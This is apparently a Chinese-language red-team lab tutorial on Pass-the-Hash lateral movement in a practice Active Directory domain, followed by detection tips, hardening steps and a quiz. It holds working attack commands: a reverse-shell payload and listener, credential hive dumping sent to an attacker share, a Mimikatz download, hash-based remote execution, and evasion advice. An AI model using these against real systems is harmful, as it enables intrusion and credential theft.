在資安事件調查中,我們經常發現攻擊者在取得初始據點後,會迅速在內網中擴散。他們是如何做到的?答案就是「橫向移動」技術。而在所有橫向移動技術中,Pass-the-Hash (PTH) 是最基礎、最常見,也是每個紅隊成員必須精通的技術。昨天我們成功在 CASTELBLACK 伺服器上取得了 SYSTEM 權限,今天將學習如何利用這個據點,透過 PTH 技術在網域中進行橫向擴展。我們會深入探討 PTH 的原理、實作方法,以及各種遠端執行工具的使用技巧。
在完成今天的實作後,你將能夠:
在開始之前,確保已經完成:
samwell.tarly:Heartsbane
brandon.stark:iseedeadpeople
jon.snow:iknownothing
robb.stark:sexywolfy
sql_svc:YouWillNotKerboroast1ngMeeeeee
# 確認 Impacket 套件完整
ls ~/.local/bin/impacket-* | wc -l # 應該有 60+ 工具
# 安裝 Evil-WinRM
sudo gem install evil-winrm
# 安裝 CrackMapExec 後繼者 NetExec
pipx install git+https://github.com/Pennyw0rth/NetExec
# 準備 Mimikatz(Windows 端)
wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip
# xfreerdp 用於 RDP
sudo apt install freerdp3-x11 -y
橫向移動不是漏洞利用,而是濫用合法功能:
攻擊者視角:
已控制主機 A → 使用竊取的憑證 → 存取主機 B → 提取更多憑證 → 重複
防守者視角:
看起來像「合法」的管理活動,難以區分惡意行為
橫向移動技術架構
├── 憑證重用 (Credential Reuse)
│ ├── Pass-the-Hash (NTLM)
│ ├── Pass-the-Ticket (Kerberos)
│ ├── Overpass-the-Hash (NTLM→Kerberos)
│ └── Pass-the-Key (AES Keys)
│
├── 遠端執行協定 (Remote Execution)
│ ├── SMB-based (445/tcp)
│ │ ├── PSExec
│ │ ├── SMBExec
│ │ └── Impacket Suite
│ ├── WMI/DCOM (135/tcp + 動態)
│ │ ├── WMIExec
│ │ └── DCOM Objects
│ ├── PowerShell Remoting (5985/tcp)
│ │ ├── Enter-PSSession
│ │ └── Invoke-Command
│ └── Terminal Services (3389/tcp)
│ └── RDP
│
└── 持久化技術 (Persistence)
├── 計劃任務 (Scheduled Tasks)
├── 服務 (Services)
├── WMI 事件訂閱
└── Registry 自動執行
需要 GUI?
是 → RDP (3389)
否 ↓
需要完整 Shell?
是 → PSExec/WinRM
否 ↓
需要隱蔽性?
是 → WMIExec
否 → SMBExec
http://192.168.139.22/upload/webshell.asp
python3 gen_ps_payload.py 192.168.139.136 4444 > ps_payload.txt
nc -nlvp 4444
4. 查看 ps_payload.txt
cat ps_payload.txt
powershell -exec bypass -enc <base64_payload>
6. 查看監聽
7. 進入 temp 資料夾
cd C:\temp
8. 另外一個視窗啟動監聽器
nc -nlvp 4444
9. 執行提升權限腳本
./GodPotato -cmd "C:\temp\runme.bat"
10. 查看監聽
也可以直接於 Webshell 執行
C:\temp\GodPotato.exe -cmd "C:\temp\runme.bat"
從我們昨天獲得的 SYSTEM 權限開始:
# 方法一:遠端提取(需要管理員憑證): 失敗
impacket-secretsdump north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22
# 方法二:使用 SYSTEM shell 導出註冊表
# 在 SYSTEM shell 中執行:
reg save HKLM\SAM C:\temp\sam.hive
reg save HKLM\SYSTEM C:\temp\system.hive
reg save HKLM\SECURITY C:\temp\security.hive
# 在攻擊機 (192.168.139.136) 上建立共享
mkdir /tmp/loot
cd /tmp/loot
~/.venvs/impacket/bin/smbserver.py share . -smb2support
# 或帶認證(更安全)
impacket-smbserver share . -smb2support -user hacker -password password123
# 無認證版本
copy C:\temp\sam.hive \\192.168.139.136\share\sam.hive
copy C:\temp\system.hive \\192.168.139.136\share\system.hive
copy C:\temp\security.hive \\192.168.139.136\share\security.hive
# 需認證版本
net use \\192.168.139.136\share /user:hacker password123
copy C:\temp\*.hive \\192.168.139.136\share\
net use \\192.168.139.136\share /delete
ls -lah *.hive
# 下載檔案後本機分析
~/.venvs/impacket/bin/secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL
輸出:
[*] Target system bootKey: 0x97bdbb2a7e445586ab196ea5f4a95269
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9ab6e3005740e48ad3d422bc52e986ae:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2025-09-16 06:56:09)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2025-09-18 11:41:51)
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5: (2025-09-19 13:59:52)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:23004c0069005b003600450041004900380024005b002c005400790041006300630030005b002d004b00340052002f0053005200560046005d0059006c00220049005d007700600049005e00550050006e00590055004000450079006700390041004400610041003a002e007a0043005300390078002f0064003f004d004b00630060006000570062007a0067004b006a0025006a007a002e0067003300450057003600610020003f00670020003f002a00600075002c0043002f004d0022005f007300740040003a003b00360075006e0046002f004b0026004200230024005b0028007a005c002a00360058007000
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:aa9f662562792331251c9e43b72c5caf
[*] DPAPI_SYSTEM
dpapi_machinekey:0x0f1113067198e23d8ab8c582ae795072cdc46d9a
dpapi_userkey:0x96518c271863cd30ca45830c38eaecd1d0bff46e
[*] NL$KM
0000 A0 B9 07 4A 55 70 F9 F9 FA CC 68 30 15 F5 95 A2 ...JUp....h0....
0010 58 69 29 AD 87 BA A5 9F 76 EB AC F3 07 63 71 5A Xi).....v....cqZ
0020 ED 26 C1 FC 5A 2B D3 25 A0 74 E6 E4 90 53 D5 19 .&..Z+.%.t...S..
0030 E8 D6 BD D0 F3 36 76 5A A6 74 1B 5B D8 30 90 2A .....6vZ.t.[.0.*
NL$KM:a0b9074a5570f9f9facc683015f595a2586929ad87baa59f76ebacf30763715aed26c1fc5a2bd325a074e6e49053d519e8d6bdd0f336765aa6741b5bd830902a
[*] _SC_MSSQL$SQLEXPRESS
(Unknown User):YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
在 Kali 當中
wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd x64
python3 -m http.server 8080
在 Windows SYSTEM shell 中:
# 下載並執行 Mimikatz
Invoke-WebRequest -Uri "http://192.168.139.136:8080/mimikatz.exe" -OutFile "C:\temp\mimikatz.exe"
C:\temp\mimikatz.exe
正常 NTLM 認證:
密碼 → NTLM Hash → Challenge/Response → 認證成功
PtH 攻擊:
竊取的 NTLM Hash → Challenge/Response → 認證成功
(跳過需要知道密碼的步驟!)
# 提取到的 Administrator hash
ADMIN_HASH="aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4"
# PSExec(會建立服務,容易被偵測)
~/.venvs/impacket/bin/psexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22
# WMIExec(使用 WMI,較隱蔽)
~/.venvs/impacket/bin/wmiexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22
# SMBExec(不建立服務,使用計劃任務)
~/.venvs/impacket/bin/smbexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22
# ATExec(使用 Task Scheduler)
~/.venvs/impacket/bin/atexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22 "whoami"
# 如果出現 STATUS_OBJECT_NAME_NOT_FOUND 錯誤:
# 1. 重試幾次(通常第二或第三次會成功)
# 2. 改用其他執行方法(WMIExec 或 SMBExec)
# 3. 這是 ATExec 的已知問題,與時間同步或檔案系統延遲有關
# 掃描哪些主機可以用此 hash 存取
netexec smb 192.168.139.10-23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4
# 執行命令
netexec smb 192.168.139.22-23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 -x "whoami"
# 列舉共享
netexec smb 192.168.139.22 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 --shares
# 提取 SAM(如果有權限)
netexec smb 192.168.139.23 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 --sam
# Impacket PSExec
impacket-psexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22
# 運作原理:
# 1. 連線到 ADMIN$ 共享
# 2. 上傳執行檔(預設:PSEXESVC.exe)
# 3. 建立並啟動服務
# 4. 透過具名管道通訊
# 5. 清理服務和檔案
偵測點:
# Impacket WMIExec
impacket-wmiexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22
# 運作原理:
# 1. 透過 WMI 呼叫 Win32_Process.Create
# 2. 輸出寫入臨時檔案
# 3. 讀取並刪除臨時檔案
優點:
# Impacket SMBExec
impacket-smbexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22
# 運作原理:
# 1. 建立批次檔在 ADMIN$
# 2. 使用計劃任務執行
# 3. 輸出重定向到檔案
# 4. 讀取並清理
# 連線
evil-winrm -i 192.168.139.22 -u jon.snow -p iknownothing
# 功能豐富
*Evil-WinRM* PS > upload /path/to/local/file C:\temp\file
*Evil-WinRM* PS > download C:\temp\results.txt /tmp/results.txt
*Evil-WinRM* PS > menu
*Evil-WinRM* PS > services
需求:
# 使用 dcomexec
impacket-dcomexec north.sevenkingdoms.local/jon.snow:iknownothing@192.168.139.22
# 可用的 DCOM 物件:
# - MMC20.Application (MMC)
# - ShellWindows (Explorer)
# - ShellBrowserWindow (Explorer)
# - 9BA05972-F6A8-11CF-A442-00A0C90A8F39 (ShellWindows)
# xfreerdp3
xfreerdp3 /v:192.168.139.22 /u:jon.snow /p:iknownothing /d:north /cert:ignore
# 使用 PtH 進行 RDP(需要 Restricted Admin mode)
xfreerdp3 /v:192.168.139.22 /u:Administrator /pth:dbd13e1c4e338284ac4e9874f7de6ef4
# 關鍵 Event ID 監控清單
Event ID 4624 - Type 3 (網路登入) + Type 9 (NewCredentials)
Event ID 4648 - 明確憑證登入
Event ID 4672 - 特權指派
Event ID 7045 - 新服務安裝 (PSExec 特徵)
Event ID 4697 - 服務安裝
Event ID 4776 - NTLM 認證
PTH 攻擊特徵:
- SMB (Port 445) 大量連線
- NTLM Type 3 訊息異常
- 非工作時間的橫向連線
- 同一帳號從多個來源 IP 登入
- 管理員帳號的異常使用模式
# GPO 設定路徑
Computer Configuration → Windows Settings → Security Settings
→ Local Policies → Security Options
→ Network security: Restrict NTLM: NTLM authentication in this domain
# 設定為 "Deny all"(謹慎測試)
# 檢查 Credential Guard 狀態
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
# 透過 GPO 啟用
Computer Configuration → Administrative Templates → System
→ Device Guard → Turn On Virtualization Based Security
# 每台電腦的本機管理員使用唯一密碼
# 密碼儲存在 AD 並定期輪換
# 防止橫向移動使用相同的本機管理員密碼
# Windows 防火牆規則範例
# 限制工作站之間的 SMB 連線
New-NetFirewallRule -DisplayName "Block Lateral SMB" `
-Direction Inbound -Protocol TCP -LocalPort 445 `
-RemoteAddress "192.168.139.0/24" `
-Action Block
# 建立誘餌帳號
New-ADUser -Name "admin_backup" `
-AccountPassword (ConvertTo-SecureString "Complex!Pass123" -AsPlainText -Force) `
-Description "Backup Admin Account" `
-Enabled $false
# 監控此帳號的任何使用
# 任何登入嘗試都是警報
異常行為指標:
1. 服務帳號的互動式登入
2. 非預期的特權提升
3. 大量失敗的認證嘗試
4. 橫向移動模式(多主機快速存取)
5. 敏感群組成員變更
Pass-the-Hash 攻擊為什麼可以成功?
A. 因為 NTLM 協定的設計缺陷
B. 因為密碼太簡單
C. 因為防火牆設定錯誤
D. 因為使用了過期的作業系統
答案:A
解析:PTH 之所以可行,是因為 NTLM 認證協定允許使用 hash 值直接進行認證,而不需要知道原始密碼。這是協定設計上的特性,而非漏洞。即使使用複雜密碼或最新的作業系統,只要支援 NTLM,PTH 攻擊仍然有效。
下列哪個工具執行時最容易被偵測?
A. WMIExec
B. PSExec
C. SMBExec
D. Evil-WinRM
答案:B
解析:PSExec 會在目標系統上建立服務(預設名稱 PSEXESVC),產生 Event ID 7045(服務安裝)和 4697 事件,並在 ADMIN$ 共享寫入執行檔。這些行為都很容易被 EDR 和 SIEM 系統偵測。WMIExec 使用 WMI,較為隱蔽。
使用 secretsdump 從本機提取憑證時,需要儲存哪些登錄檔?
A. 只需要 SAM
B. SAM 和 SYSTEM
C. SAM、SYSTEM 和 SECURITY
D. SAM、SYSTEM、SECURITY 和 SOFTWARE
答案:C
解析:基本的本機密碼雜湊提取需要 SAM(儲存帳戶)和 SYSTEM(包含解密金鑰)。但要提取 LSA Secrets、快取的網域憑證等進階資訊,還需要 SECURITY 登錄檔。SOFTWARE 不是必需的。
NetExec 顯示 (Pwn3d!) 代表什麼意思?
A. 目標系統已關機
B. 密碼已過期
C. 擁有管理員權限
D. 防火牆已關閉
答案:C
解析:在 NetExec/CrackMapExec 中,(Pwn3d!) 標記表示提供的憑證在目標系統上具有管理員權限,可以執行命令、提取憑證等高權限操作。這是判斷橫向移動可行性的重要指標。
哪個 TCP 連接埠是 WinRM (PowerShell Remoting) 使用的預設連接埠?
A. 445
B. 3389
C. 5985
D. 135
答案:C
解析:WinRM HTTP 使用 5985 埠,HTTPS 使用 5986 埠。445 是 SMB,3389 是 RDP,135 是 RPC/DCOM。Evil-WinRM 等工具都是透過 5985/5986 連接埠進行 PowerShell Remoting。
題目:你在一次紅隊演練中,已經取得了一個網域使用者的 NTLM hash。目標環境部署了 EDR 系統,會偵測 PSExec 和服務建立行為。請說明你會如何進行橫向移動,並解釋選擇的理由。
參考答案:
1. 首先使用 NetExec 進行偵察:
- 掃描可存取的系統,確認 (Pwn3d!) 標記
- 列舉開啟的服務和共享資料夾
2. 優先選擇 WMIExec 進行橫向移動:
- WMI 是 Windows 內建功能,較不會觸發警報
- 不會建立新服務或在 ADMIN$ 留下執行檔
- 指令:impacket-wmiexec -hashes [hash] user@target
3. 如果 WMI 被封鎖,改用:
- SMBExec:使用排程任務,痕跡較少
- DCOM:利用 Windows COM 物件
4. 持續性考量:
- 避免在同一時間對多個目標執行
- 變換來源 IP 和執行時間
- 使用不同的執行方法,避免行為特徵被識別
題目:你的團隊在滲透測試中收集了大量憑證(明文密碼、NTLM hash、Kerberos 票證)。請設計一個憑證管理和使用策略,確保測試的效率和安全性。
參考答案:
1. 憑證分類與儲存:
建立結構化資料庫:
- 按權限等級分類(網域管理員 > 本機管理員 > 一般使用者)
- 記錄來源系統和取得時間
- 使用加密儲存,避免洩露
2. 憑證驗證流程:
- 先用 NetExec 批次驗證有效性
- 標記每個憑證可存取的系統清單
- 定期重新驗證(密碼可能變更)
3. 使用優先順序:
優先順序:Kerberos 票證 > NTLM Hash > 明文密碼
原因:
- Kerberos 票證有時效性,應優先使用
- NTLM Hash 比明文密碼更隱蔽
4. 安全措施:
- 測試結束立即刪除所有憑證
- 不在測試範圍外使用憑證
- 記錄所有憑證使用行為
- 使用專用隔離環境進行測試
5. 報告建議:
- 記錄哪些帳號被入侵
- 標記高風險憑證(如服務帳號)
- 提供密碼政策改善建議
今天我們深入學習了 Pass-the-Hash 技術和基礎的橫向移動方法。PTH 雖然是老技術,但在現代 AD 環境中依然有效。關鍵在於:
記住,橫向移動的藝術在於「像正常管理員一樣行動」,最好的攻擊是讓防禦者無法區分正常與惡意行為。